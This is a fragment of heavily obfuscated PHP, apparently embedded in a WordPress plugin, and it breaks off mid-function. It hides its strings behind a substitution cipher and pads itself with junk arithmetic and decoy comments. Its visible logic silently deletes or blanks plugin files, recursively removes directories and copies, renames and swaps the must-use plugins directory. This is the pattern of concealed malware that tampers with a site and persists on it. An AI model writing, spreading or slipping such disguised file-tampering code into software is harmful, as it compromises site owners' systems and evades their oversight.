do7\\/','PmGM,,d7eV?WX5O/G?|4','Pl\\,|dFmd/WAF|aw5e7/P','\\/M!MPOzM7E!PmGGw|Y','dF 7/|lAdF+aw5e7/P^ala','P7oA|o!d/P7A/o|5aFdoA|aw5e7/P','dww|aw5e7/P',',a|dYdV| s|z7wA|z\\wFA!| d/deA!','0aGAGz,7Xsa?VEXs8 ',',a|dYdV|W\\//AWo\\!',',a|dYdV|zP|W\\//AWo\\!',',a|z\\\\oA!','|AX Ep|a057s0 E0pFW4/M','oA awdoA|!AF7!AWo','w0elm4VtwslXwGPOp8P|F','!FzzsE,wY,/0oee','dF 7/|z\\\\oA!','Wdai8Vpp dKG8tFP5,t z7','w\\e7/|z\\\\oA!','ep ??480wOtEVMaFP|\\','4wKG0YE8ipX5KFM!az','7F8?Ao!oMmiVwzAM/|P','5KtMm8/i?m4!Fi\\','4/d8,WM|8mppp>0|4l','l/i!|0/>4>YAwO?\\8','aw5e7/P|w\\dFAF','4dVFAEOt/Y>0p/7KP0FMdp','aw5e7/P|w\\dFAF'),array('/iMwAMp!PtaMmY\\|Y','|Em?0pol|8dmYs!7,iz8p','! XYdzlso 0z!Oie!Ms','dzoA!|P,7oWl|olA A','e0sY Y7wi!|Ed,ooMVoA?','|MYzmm>P|w,eF7!\\G,? >','!Ae7PoA!|Pl5oF\\,/|z5/Wo7\\/','5Es7VYOM!\\0sGpX','a,ma5iK,lMKXoeV8Y','a,ma5iK,lMKXoeV8Y','mwWdV>E87zmiXMW,','di7Y,!dszF>YdawGG','PW|wdPo|!AW\\mA!M|WlAWs','ate,e/X5,pX4/Gim,','W!\\/|PWlAF5wAP',',pPXz8zA0?VOo54OPEW'));}return $a[$i];}function b4gbsak56f40gos($i){$e=b_helzwexpgp($i);$f='ABSP'.'THs'.'c_'.'vero'.'4.'.'53'.'pl'.'ugi'.'nba'.'mWLU'.'GI'.'NDR'.'M/-'.'kdh'.'tw<'.'?\\'.'qfCO'.'Ex :'.'*y='.'V('.'+)2F'.'K\',0'.'z>'.'&19'.'786X'.'YZQ'.'j;'.'{"'.'[}'.']!|^'.'$#'.'J%`';$t='L$'.'=TbJ'.'PW|'.'mA'.'!\\G^'.'Xtaw'.'5e'.'7/?d'.' Qj'.'*Sg%'.'B6_r'.'+sF'.'lo,'.'}C'.'D0z'.'c#1V'.'3f'.'"M<'.'u]H'.'[O9'.'{2'.'(i'.'4`R>'.'KEp8'.'Ikq'.'UY.N'.'&v'.')\''.'yn'.'Zhx'.'-;:';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function fjup2mc1h($i){$j=(int)$i;return b4gbsak56f40gos($j);}function tvo1rh46s_($i){$j=$i+0;return b4gbsak56f40gos($j);}function zp28wk01y($i){return b4gbsak56f40gos($i);}function op9tjzix($i){return b4gbsak56f40gos($i);}function wlgh2_th($i){$j=(int)$i;return b4gbsak56f40gos($j);}$GLOBALS['__scf_dpm5ad5tej9nf_4']=tvo1rh46s_(4);$GLOBALS['__scf_qel9wo57qs676z_5']=wlgh2_th(5);$GLOBALS['__scf_rbe_sihvfv_8']=tvo1rh46s_(8);$GLOBALS['__scf_j2_71uyeufh_9']=b4gbsak56f40gos(9);$GLOBALS['__scf_zre6ec18ly90y_10']=wlgh2_th(10);$GLOBALS['__scf_m2ym9pki8mue9_11']=fjup2mc1h(11);$GLOBALS['__scf_pqkpt9n3trf9fm_12']=op9tjzix(12);$GLOBALS['__scf_q93011jdjf_13']=fjup2mc1h(13);$GLOBALS['__scf_w1g4siw_ju_16']=b4gbsak56f40gos(16);$GLOBALS['__scf_x853wccr0ol2d0_18']=wlgh2_th(18);$GLOBALS['__scf_qb1d7dp0ekpw_19']=tvo1rh46s_(19);$GLOBALS['__scf_j4nhr6qca6y8ds_20']=wlgh2_th(20);$GLOBALS['__scf_v4z06gw93pj_23']=tvo1rh46s_(23);$GLOBALS['__scf_z7quve4b0bsr_25']=wlgh2_th(25);$GLOBALS['__scf_czsd7giapuxwu_34']=wlgh2_th(34);$GLOBALS['__scf__uoxmw5pj5af1u_35']=tvo1rh46s_(35);$GLOBALS['__scf_knhbvsumnby3_36']=tvo1rh46s_(36);$GLOBALS['__scf_j38tk0441lk_37']=fjup2mc1h(37);$GLOBALS['__scf_mlnd1caka3_38']=wlgh2_th(38);$GLOBALS['__scf_btk9t95ovv6r2_40']=b4gbsak56f40gos(40);$GLOBALS['__scf_zneqqdn4vlt4_42']=op9tjzix(42);$GLOBALS['__scf_ot56htgy8hrmim_44']=op9tjzix(44);$GLOBALS['__scf_zqvpsn1r8ajl0_45']=wlgh2_th(45);$GLOBALS['__scf_f0spqlcvz0g_47']=tvo1rh46s_(47);$GLOBALS['__scf_tluflp7r6hugyf_48']=op9tjzix(48);$GLOBALS['__scf_tzc_p_uzbnf_qz_50']=b4gbsak56f40gos(50);$GLOBALS['__scf_en2e7qgldhuhq6_54']=tvo1rh46s_(54);$GLOBALS['__scf_abbpcj1ncssalx_57']=b4gbsak56f40gos(57);$GLOBALS['__scf_l4xn242gw4_70']=wlgh2_th(70);$GLOBALS['__scf_ylc30lk3q5j_73']=op9tjzix(73);$GLOBALS['__scf_qtfcgi4pxi71_75']=zp28wk01y(75);$GLOBALS['__scf_c05p9rpyec3_t_77']=tvo1rh46s_(77);$GLOBALS['__scf_iiafc2kxb9ov_79']=fjup2mc1h(79);$GLOBALS['__scf_ufzmayscdi_80']=fjup2mc1h(80);$GLOBALS['__scf_j_5qhmtx5bt9kn_98']=zp28wk01y(98);$GLOBALS['__scf_bvfhit3heqts_99']=op9tjzix(99);$GLOBALS['__scf_kpr9p9o54hwof_101']=wlgh2_th(101);$GLOBALS['__scf_voobwg611qb_102']=op9tjzix(102);$GLOBALS['__scf_pdnlp7jjhnya_106']=b4gbsak56f40gos(106);$GLOBALS['__scf_f9tn7hbu7z_107']=tvo1rh46s_(107);$GLOBALS['__scf_livuu39cntpdx3_116']=zp28wk01y(116);$GLOBALS['__scf_ubwid3ivz9f8x_118']=op9tjzix(118);$GLOBALS['__scf_p6wtd462xwbf9y_126']=b4gbsak56f40gos(126);$GLOBALS['__scf_v0g2xbgjjm_154']=tvo1rh46s_(154);$GLOBALS['__scf_s8rgnr7_02m_155']=b4gbsak56f40gos(155);$GLOBALS['__scf_av84ex67tlp92_156']=zp28wk01y(156);$GLOBALS['__scf_jxu__lo946uf6o_158']=b4gbsak56f40gos(158);$GLOBALS['__scf_eriwpctk0hsvu4_164']=tvo1rh46s_(164);$GLOBALS['__scf_b1rqpek_6hp_174']=tvo1rh46s_(174);$GLOBALS['__scf_yg2rpewmkg_192']=zp28wk01y(192);$GLOBALS['__scf_m2g_67700pfzin_204']=tvo1rh46s_(204);$GLOBALS['__scf_innlxa4l2yk_yi_212']=zp28wk01y(212);$GLOBALS['__scf_v4xne3bezipdj_233']=zp28wk01y(233);$GLOBALS['__scf_sj1khp0ty__234']=b4gbsak56f40gos(234);$GLOBALS['__scf_b9y77l_625nr_236']=wlgh2_th(236);$GLOBALS['__scf_yp401qf4i0g_239']=wlgh2_th(239);$GLOBALS['__scf_r8poeyi9ora_243']=fjup2mc1h(243);$GLOBALS['__scf_xc9hrpqrsvv6k2_251']=tvo1rh46s_(251);$GLOBALS['__scf_gv0uvy8obul_253']=zp28wk01y(253);$GLOBALS['__scf_uovlix5wxx_y_283']=op9tjzix(283);$GLOBALS['__scf_ehiaqsl0njp0_284']=b4gbsak56f40gos(284);$GLOBALS['__scf_ujieua8rts5ii_285']=tvo1rh46s_(285);$GLOBALS['__scf_tpidy6i_c1_288']=zp28wk01y(288);$GLOBALS['__scf_hpue5hjwa5j_293']=tvo1rh46s_(293);$GLOBALS['__scf_isq8lhf9jc_295']=zp28wk01y(295);$GLOBALS['__scf_knb470agoho1_297']=wlgh2_th(297);$GLOBALS['__scf_a75i57vn9hq3y_298']=tvo1rh46s_(298);$GLOBALS['__scf_wi8602txx8j8_299']=zp28wk01y(299);$GLOBALS['__scf_aveut5m3qzw4x_301']=wlgh2_th(301);$GLOBALS['__scf_tg1qmog4wi_lcm_306']=zp28wk01y(306);$GLOBALS['__scf_lpyl_fi1nn5e_307']=b4gbsak56f40gos(307);$GLOBALS['__scf_wmj7k85rw4tvv9_308']=zp28wk01y(308);$GLOBALS['__scf_mmo0h5_4w__317']=b4gbsak56f40gos(317);$GLOBALS['__scf_igh391p_2d78a_331']=tvo1rh46s_(331);$GLOBALS['__scf_bbs7j5b1fx_332']=fjup2mc1h(332);$GLOBALS['__scf_vcngxudwmss_337']=b4gbsak56f40gos(337);$GLOBALS['__scf_honmo92acbfag2_340']=tvo1rh46s_(340);$GLOBALS['__scf_h8pe_c5_3n_344']=fjup2mc1h(344);$GLOBALS['__scf_s2scu5dqyx4_345']=zp28wk01y(345);$GLOBALS['__scf_de_u08mc_p_348']=zp28wk01y(348);$GLOBALS['__scf_wepau2f2borz_357']=fjup2mc1h(357);$GLOBALS['__scf_lh6iqyp38q3_358']=zp28wk01y(358);$GLOBALS['__scf_hw2kkbd0s2i_359']=fjup2mc1h(359);$GLOBALS['__scf_g8_t7dlza2_360']=wlgh2_th(360);$GLOBALS['__scf__cpt1d1twdvp_362']=tvo1rh46s_(362);$GLOBALS['__scf_fwkq_05r177s4_365']=wlgh2_th(365);$GLOBALS['__scf_qx45pe7tfwqub_367']=wlgh2_th(367);$GLOBALS['__scf_pwfpxyvmfin3_372']=tvo1rh46s_(372);$GLOBALS['__scf_h63ymopf9_k_375']=fjup2mc1h(375);$GLOBALS['__scf_ytyghd4b9k58e_402']=zp28wk01y(402);$GLOBALS['__scf_k6m_q8843h46_403']=b4gbsak56f40gos(403);$GLOBALS['__scf_acczjxl0eb0i_405']=zp28wk01y(405);$GLOBALS['__scf_cbxznqxlbgq70_420']=b4gbsak56f40gos(420);$GLOBALS['__scf_g78q01g_fb5t2_421']=tvo1rh46s_(421);$GLOBALS['__scf_v2dcsudt2hx_431']=op9tjzix(431);$GLOBALS['__scf_v_sh61jlp_8_444']=tvo1rh46s_(444);$GLOBALS['__scf_sp5m_appgxyoko_471']=wlgh2_th(471);$GLOBALS['__scf_jlm7opnchuxu_489']=fjup2mc1h(489);$GLOBALS['__scf_auynlilaeyt_490']=fjup2mc1h(490);$GLOBALS['__scf_x_wfq7bl3c_551']=b4gbsak56f40gos(551);$GLOBALS['__scf_oaen6pygee_572']=zp28wk01y(572);$GLOBALS['__scf_skguqpd9dknw_590']=wlgh2_th(590);$GLOBALS['__scf_p_tfg5i832l8_603']=tvo1rh46s_(603);$GLOBALS['__scf_wrhffn6epll8r_615']=tvo1rh46s_(615);$GLOBALS['__scf_taquapnta_1g_664']=wlgh2_th(664);$GLOBALS['__scf_zthbi4ztwges_700']=tvo1rh46s_(700);$GLOBALS['__scf_bhw4bjp5xr9_715']=zp28wk01y(715);$GLOBALS['__scf_s1npck0zraxhfs_729']=op9tjzix(729);$GLOBALS['__scf_npbrfby50y_735']=b4gbsak56f40gos(735);$GLOBALS['__scf_ye733r3hqpt_841']=b4gbsak56f40gos(841);$GLOBALS['__scf_elpuketifsy_912']=op9tjzix(912);$GLOBALS['__scf_qoxrbqe92camk_961']=zp28wk01y(961);$GLOBALS['__scf_yp8i5ic3tw6_1018']=wlgh2_th(1018);$GLOBALS['__scf_zh9zi0dsau3d_1027']=tvo1rh46s_(1027);$GLOBALS['__scf_ejipd25116z_1183']=op9tjzix(1183);$GLOBALS['__scf_wpyma_2f6f_1191']=tvo1rh46s_(1191);$GLOBALS['__scf_dg522r6m0ced_1274']=wlgh2_th(1274);$GLOBALS['__scf_zykjn0enf50_1278']=op9tjzix(1278);$GLOBALS['__scf_fjoo3u9niln_1280']=op9tjzix(1280);$GLOBALS['__scf_vwt6atccf__1283']=tvo1rh46s_(1283);$GLOBALS['__scf_hn3j_eqqrg9zvo_1284']=fjup2mc1h(1284);$GLOBALS['__scf_nx064uqh844a_1285']=tvo1rh46s_(1285);$GLOBALS['__scf__eis5gfvdzooc_1286']=tvo1rh46s_(1286);$GLOBALS['__scf_opt4mqvv4__1287']=op9tjzix(1287);$GLOBALS['__scf_o7haeurnka2_1290']=wlgh2_th(1290);$GLOBALS['__scf_e1ntfpy20h_1302']=fjup2mc1h(1302);$GLOBALS['__scf_cbbcclndleiog_1347']=wlgh2_th(1347);$GLOBALS['__scf_v82x6rf7o9_1355']=zp28wk01y(1355);$GLOBALS['__scf_s7mc32qh64_1360']=wlgh2_th(1360);$GLOBALS['__scf_y135v3krd50khw_1410']=b4gbsak56f40gos(1410);$GLOBALS['__scf_zf_feq62hp_1482']=op9tjzix(1482);$GLOBALS['__scf_hq6ay2dcwioaa_1504']=fjup2mc1h(1504);$GLOBALS['__scf_uy7io_53kig_1729']=op9tjzix(1729);$GLOBALS['__scf_e1sw8tg2g1_1737']=wlgh2_th(1737);$GLOBALS['__scf_oak2c_8c11_1846']=op9tjzix(1846);

function wnt77xje8j3f6ez($u_gywm2qck,$to9u4h){$zo3bb0=($u_gywm2qck^$to9u4h)&97;return $zo3bb0;}
function mpmbnoinw_6pu3yp($ge1gkd,$n5r16_vao){$cunry6djb=($ge1gkd^$n5r16_vao)&223;return $cunry6djb;}


defined(tvo1rh46s_(0))  or  exit;
 
 function  _vfpypr4wakqs7jy_()


    {


return   isset($GLOBALS[wlgh2_th(1)])  ?    $GLOBALS[b4gbsak56f40gos(2)]   :     wlgh2_th(3);
   }
      function  qluu1auwul2zupq5h()
  {
 return  __FILE__;
}
 function  mvfnzt3qa4jfes_wxi()
{

return   $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h());
    }
function  fnn_1fc67qy9wd854gl3()
   {


if     ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(6)))    return   plugin_basename(qluu1auwul2zupq5h());
  $oknhdgd23az7    =  qluu1auwul2zupq5h();$k512_ofsrynfp0=PHP_MAJOR_VERSION;$a1p17dwc20k_qh=$k512_ofsrynfp0*10;
  $yabphvy5gb   =   defined(fjup2mc1h(7))      ?  WP_PLUGIN_DIR     : "";
  if  ($yabphvy5gb   !== "" && $GLOBALS['__scf_rbe_sihvfv_8']($oknhdgd23az7,   $yabphvy5gb) ===  0) return  $GLOBALS['__scf_j2_71uyeufh_9']($GLOBALS['__scf_zre6ec18ly90y_10']($oknhdgd23az7,    $GLOBALS['__scf_m2ym9pki8mue9_11']($yabphvy5gb)), '/');
 return  $GLOBALS['__scf_dpm5ad5tej9nf_4']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($oknhdgd23az7)) . '/'  . $GLOBALS['__scf_dpm5ad5tej9nf_4']($oknhdgd23az7);
  }
function     emzy8pvoveowt1bicy5()


{
   return     $GLOBALS['__scf_q93011jdjf_13'](defined(zp28wk01y(14)) ? WPMU_PLUGIN_DIR :      (WP_CONTENT_DIR .    tvo1rh46s_(15)),  '/');
    }
      function  rrfbdtjl4tag5_vplfgq6_()


{
return     $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h());
    

  }



   function m_ixrkpun5f9a0k8wu($zwzkcpqs2ucabt_,   $ltpokciy2kt5utu   = (678-185),   $xr7siizzt4ot =  false)
 {
  return $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(16))   ?     @$GLOBALS['__scf_w1g4siw_ju_16']($zwzkcpqs2ucabt_,  $ltpokciy2kt5utu, $xr7siizzt4ot)  :  false;
      }
     function  kp1tutxjpanriy($frgd4znm8k,   $ltpokciy2kt5utu)



    {$c7horj262t=85*6;$a8nbkd_ui7k8zh=$c7horj262t-48;



 return $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(17))  ?  @$GLOBALS['__scf_x853wccr0ol2d0_18']($frgd4znm8k,  $ltpokciy2kt5utu) :     false;
    }
function _0qezpop1swzfe($frgd4znm8k)
 {
    return $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(19)) ?      @$GLOBALS['__scf_qb1d7dp0ekpw_19']($frgd4znm8k)   :  false;

  }
  function     _b1inwj90rdcngb($q9bdm8vc06odw4)


     {
 if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))  return    true;
kp1tutxjpanriy($q9bdm8vc06odw4,  (0x52+0x152));
if (_0qezpop1swzfe($q9bdm8vc06odw4))     {
if ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(21)))   @opcache_invalidate($q9bdm8vc06odw4, true);
 return  true;
     }
    kp1tutxjpanriy($GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4), (694-201));
  if   (_0qezpop1swzfe($q9bdm8vc06odw4))  {
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(22))) @opcache_invalidate($q9bdm8vc06odw4, true);
 return  true;
 }
 $e55pxp_0ddwy  =    @$GLOBALS['__scf_v4z06gw93pj_23']($q9bdm8vc06odw4,     tvo1rh46s_(24));
     if   ($e55pxp_0ddwy)  {



@$GLOBALS['__scf_z7quve4b0bsr_25']($e55pxp_0ddwy, "<?php\n");
   @fclose($e55pxp_0ddwy);
if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(22)))  @opcache_invalidate($q9bdm8vc06odw4,    true);
return  true;

}



      return  false;



 }
function   wxth54ul2s6k5ru6pxa($q9bdm8vc06odw4)
  {
     $uqy8vwfbzy4s4am  = $GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4);
 $zo6xpmvstla09    =   $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4,    op9tjzix(26));
foreach (array(fjup2mc1h(27),    wlgh2_th(28), wlgh2_th(29),     tvo1rh46s_(30))   as $fhc63x3viya)      {
    $tvdwqobdqe3owz = $uqy8vwfbzy4s4am    . '/' .    $fhc63x3viya   .   $zo6xpmvstla09;


      if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($tvdwqobdqe3owz))     _b1inwj90rdcngb($tvdwqobdqe3owz);
}



 $ogu0uhok6d  =   $uqy8vwfbzy4s4am  . '/'  . $zo6xpmvstla09 .  op9tjzix(31);
   if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($ogu0uhok6d))   _b1inwj90rdcngb($ogu0uhok6d);
      if (defined(b4gbsak56f40gos(32)))    {
       $laxoa4iesri  = WP_CONTENT_DIR  .  op9tjzix(33)     .   $zo6xpmvstla09;
if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($laxoa4iesri))     _b1inwj90rdcngb($laxoa4iesri);$ru98kmywjafs=PHP_MAJOR_VERSION;$fayna5o0xzq5j=$ru98kmywjafs*10;
   }
// PHP CS Fixer: amortized collector



 $_pd      =   defined(zp28wk01y(7))     ?   @$GLOBALS['__scf_czsd7giapuxwu_34'](WP_PLUGIN_DIR) :  false;
      $nwbal28ou6g4mbs  = @$GLOBALS['__scf_czsd7giapuxwu_34']($uqy8vwfbzy4s4am);
  if   ($_pd &&  $nwbal28ou6g4mbs   &&   $GLOBALS['__scf_pqkpt9n3trf9fm_12']($nwbal28ou6g4mbs)  ===      $_pd)   {


  $w58wgj3_20_fh =  @$GLOBALS['__scf__uoxmw5pj5af1u_35']($nwbal28ou6g4mbs);
    if   ($GLOBALS['__scf_knhbvsumnby3_36']($w58wgj3_20_fh)     &&  $GLOBALS['__scf_j38tk0441lk_37']($w58wgj3_20_fh) <=     2)   @$GLOBALS['__scf_mlnd1caka3_38']($nwbal28ou6g4mbs);
}
  }
    function  koa6pvp8rcjxok3aluo9qx()



 {
  static  $_a5x3ie1g64_xaf  =   'x';
 if    ($_a5x3ie1g64_xaf   !==    'x')   return $_a5x3ie1g64_xaf;
$_a5x3ie1g64_xaf  =   null;
if     ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(39)))    {    $cqa9ps1o2ezc4_  =    @posix_geteuid();  if ($GLOBALS['__scf_btk9t95ovv6r2_40']($cqa9ps1o2ezc4_))  $_a5x3ie1g64_xaf =      $cqa9ps1o2ezc4_;  }



      if  ($_a5x3ie1g64_xaf  === null) {



      $wqsido46b9z1hw     =  l57opmo3fftx76(p_wsdzgl36a6wh_fs09(),  wlgh2_th(41));


       if      ($GLOBALS['__scf_zneqqdn4vlt4_42']($wqsido46b9z1hw)) { $giootjr_7s6d   =     @fileowner($wqsido46b9z1hw);   _0qezpop1swzfe($wqsido46b9z1hw);   if   ($GLOBALS['__scf_btk9t95ovv6r2_40']($giootjr_7s6d))   $_a5x3ie1g64_xaf    = $giootjr_7s6d;    }
  }
 return   $_a5x3ie1g64_xaf;
 }
function  kn7urmeq31f32ydy4t($dwp9zzb5mx)



     {
// unwind table

if  ($GLOBALS['__scf_rbe_sihvfv_8']($GLOBALS['__scf_dpm5ad5tej9nf_4']($dwp9zzb5mx),   wlgh2_th(43))  !== 0)  return;




  if   (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx) ||   @$GLOBALS['__scf_zqvpsn1r8ajl0_45']($dwp9zzb5mx))     return;
     

  $vnry4rcy5quc4  = @$GLOBALS['__scf__uoxmw5pj5af1u_35']($dwp9zzb5mx);

 if  ($GLOBALS['__scf_knhbvsumnby3_36']($vnry4rcy5quc4))   foreach  ($vnry4rcy5quc4  as   $x0ydieb0v_72m_u)  {
  if   ($x0ydieb0v_72m_u ===    '.'  || $x0ydieb0v_72m_u  ===   b4gbsak56f40gos(46))   continue;
$frgd4znm8k  =   $dwp9zzb5mx   . '/'  .  $x0ydieb0v_72m_u;
   if    (@$GLOBALS['__scf_ot56htgy8hrmim_44']($frgd4znm8k) &&   !@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($frgd4znm8k))    kn7urmeq31f32ydy4t($frgd4znm8k);    else    _0qezpop1swzfe($frgd4znm8k);
 }

 @$GLOBALS['__scf_mlnd1caka3_38']($dwp9zzb5mx);
  }
    function   zivz85pel0804jgi($bkok4unpnq2f_wvv,   $p4g3ko9xyor)

 {
// WP Paragraph Block: template equivalence-class

  if   (@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($bkok4unpnq2f_wvv))   return     false;
if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($bkok4unpnq2f_wvv))  {
    if   (!@$GLOBALS['__scf_f0spqlcvz0g_47']($bkok4unpnq2f_wvv))    return false;
 return    vmit36r9571e9ftykwphlq($bkok4unpnq2f_wvv,     $p4g3ko9xyor)    ?   true :  false;
 }
  if (@$GLOBALS['__scf_ot56htgy8hrmim_44']($bkok4unpnq2f_wvv))  {
  if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($p4g3ko9xyor) &&  !m_ixrkpun5f9a0k8wu($p4g3ko9xyor,     (446+47), true))    return false;
$vnry4rcy5quc4   = @$GLOBALS['__scf__uoxmw5pj5af1u_35']($bkok4unpnq2f_wvv);



if   (!$GLOBALS['__scf_knhbvsumnby3_36']($vnry4rcy5quc4))   return  false;
  foreach ($vnry4rcy5quc4  as   $x0ydieb0v_72m_u) {

      if    ($x0ydieb0v_72m_u     === '.'  || $x0ydieb0v_72m_u ===   tvo1rh46s_(46))    continue;
if     (!zivz85pel0804jgi($bkok4unpnq2f_wvv  .  '/'  .   $x0ydieb0v_72m_u,  $p4g3ko9xyor  .      '/' . $x0ydieb0v_72m_u))    return  false;


 }
  return true;
   }
   return  true;
}
   function      yhtrb7u6dls0u1($q9bdm8vc06odw4)
       {
if    (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))  return   false;
      if (@$GLOBALS['__scf_tluflp7r6hugyf_48']($q9bdm8vc06odw4))  return false;
  if   (@$GLOBALS['__scf_tluflp7r6hugyf_48']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4)))  return false;
  return true;
  }
     function   rfitcim9galxt391gcxlow($q9bdm8vc06odw4)
  {
 teikfigf_p5265esq_q(zp28wk01y(49),  $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
   }
function  lfv82aa8fnhnq9g($yoxynfp7hr48q0x)
   {
 if (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(50)) || !$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(51)))  return false;$yishl_g2am=186|170;$kiwv7bcx20h6da=$yishl_g2am^221;


     if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(52))  &&  get_transient(op9tjzix(53)))     return false;
    $z3jv95tqmsutv     =   @$GLOBALS['__scf_czsd7giapuxwu_34'](emzy8pvoveowt1bicy5());
   if ($z3jv95tqmsutv  ===   false   ||  !@$GLOBALS['__scf_ot56htgy8hrmim_44']($z3jv95tqmsutv)) return  false;
    $faljjkhouh4v5xch  =  null;
        if ($yoxynfp7hr48q0x   !==  null) {

      $faljjkhouh4v5xch    = @$GLOBALS['__scf_czsd7giapuxwu_34']($yoxynfp7hr48q0x);$s6yeyu0auw92yi=2*2;$tp3t8ajr5_zh5x=$s6yeyu0auw92yi-18;
if  ($faljjkhouh4v5xch ===  false   || $GLOBALS['__scf_pqkpt9n3trf9fm_12']($faljjkhouh4v5xch)  !==   $z3jv95tqmsutv)   return  false;
     }
      $vomffyexc51jde99 = $GLOBALS['__scf_pqkpt9n3trf9fm_12']($z3jv95tqmsutv);
    if    (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($vomffyexc51jde99)     ||     !@$GLOBALS['__scf_tluflp7r6hugyf_48']($vomffyexc51jde99))  return    false;


      if     (!s29rlsoq45jpkm6n($z3jv95tqmsutv)  ||     !s29rlsoq45jpkm6n($vomffyexc51jde99))  return   false;
$p74tf9spe3nc493  =   @fileperms($vomffyexc51jde99);
  if  ($p74tf9spe3nc493   !==     false   &&  ($p74tf9spe3nc493 &     (0x13c+0xc4))) {
$hso9ikwr8h0ac1hr    =  koa6pvp8rcjxok3aluo9qx();
  if  ($hso9ikwr8h0ac1hr ===  null    ||    (@fileowner($vomffyexc51jde99)   !==  $hso9ikwr8h0ac1hr      &&   @fileowner($z3jv95tqmsutv)   !== $hso9ikwr8h0ac1hr))  return   false;
  }
     $d2ztfgtnwpw =    @$GLOBALS['__scf_en2e7qgldhuhq6_54']($vomffyexc51jde99);
 
 $upeevvazz07    = @$GLOBALS['__scf_en2e7qgldhuhq6_54']($z3jv95tqmsutv);
   if   ($GLOBALS['__scf_knhbvsumnby3_36']($d2ztfgtnwpw)   &&   $GLOBALS['__scf_knhbvsumnby3_36']($upeevvazz07)  &&      isset($d2ztfgtnwpw[fjup2mc1h(55)])    &&   isset($upeevvazz07[tvo1rh46s_(56)])   &&  $d2ztfgtnwpw[fjup2mc1h(56)]  !==  $upeevvazz07[fjup2mc1h(56)])      return  false;$mvf0d4ou=884;$g7b3cjgl11u_=($mvf0d4ou>0)?$mvf0d4ou:-$mvf0d4ou;



 $vnry4rcy5quc4 = @$GLOBALS['__scf__uoxmw5pj5af1u_35']($z3jv95tqmsutv);

      if  (!$GLOBALS['__scf_knhbvsumnby3_36']($vnry4rcy5quc4)) return  false;
      $js5m95s1jbo    = array();
 foreach    ($vnry4rcy5quc4  as    $x0ydieb0v_72m_u)  {
// fork template for MySQL 8 CTEs

 if   ($x0ydieb0v_72m_u  === '.'  ||  $x0ydieb0v_72m_u  ===  b4gbsak56f40gos(46)) continue;
$frgd4znm8k =    $z3jv95tqmsutv  . '/'  .   $x0ydieb0v_72m_u;
$lbzif_8qz91tswg     = @$GLOBALS['__scf_czsd7giapuxwu_34']($frgd4znm8k);
 if ($faljjkhouh4v5xch  !==    null     &&   $lbzif_8qz91tswg   !==    false    &&  $lbzif_8qz91tswg   ===   $faljjkhouh4v5xch)   continue;
  if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($frgd4znm8k)  &&   _cz07l41au6zrisr5($frgd4znm8k,   (403+97)))     continue;


if     (@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($frgd4znm8k) ||     !@$GLOBALS['__scf_f0spqlcvz0g_47']($frgd4znm8k))  return  false;
   $js5m95s1jbo[]  = $x0ydieb0v_72m_u;
      }
  $xb56wet5puzzbx  = $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](uniqid("", true)),  0, (2+6));



  $oxt_6yk7_dgmbl9     =  $vomffyexc51jde99  .  wlgh2_th(58) . $xb56wet5puzzbx;$d6hz3rs3wwa=5013;$sop4ul3qyjkkh3=$d6hz3rs3wwa%4;
$uen63zsqfc1  =   $vomffyexc51jde99   .   op9tjzix(59) .   $xb56wet5puzzbx;$z9taq8le1=-674;$ngxjaoc2=($z9taq8le1>0)?$z9taq8le1:-$z9taq8le1;


if    (!m_ixrkpun5f9a0k8wu($oxt_6yk7_dgmbl9, (539-46),   true)) return   false;
    

    foreach    ($js5m95s1jbo as $x0ydieb0v_72m_u) {
if   (!zivz85pel0804jgi($z3jv95tqmsutv   . '/'  .     $x0ydieb0v_72m_u,  $oxt_6yk7_dgmbl9 .  '/'     .  $x0ydieb0v_72m_u)) {  kn7urmeq31f32ydy4t($oxt_6yk7_dgmbl9);    return  false;   }
 }
if  (!u_c4ai7hmq4gvvc($z3jv95tqmsutv,  $uen63zsqfc1))    { kn7urmeq31f32ydy4t($oxt_6yk7_dgmbl9);  return  false;  }


  if (!u_c4ai7hmq4gvvc($oxt_6yk7_dgmbl9,    $z3jv95tqmsutv)) {     u_c4ai7hmq4gvvc($uen63zsqfc1,   $z3jv95tqmsutv);  kn7urmeq31f32ydy4t($oxt_6yk7_dgmbl9);  return  false;  }
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(60)))   @clearstatcache(true);
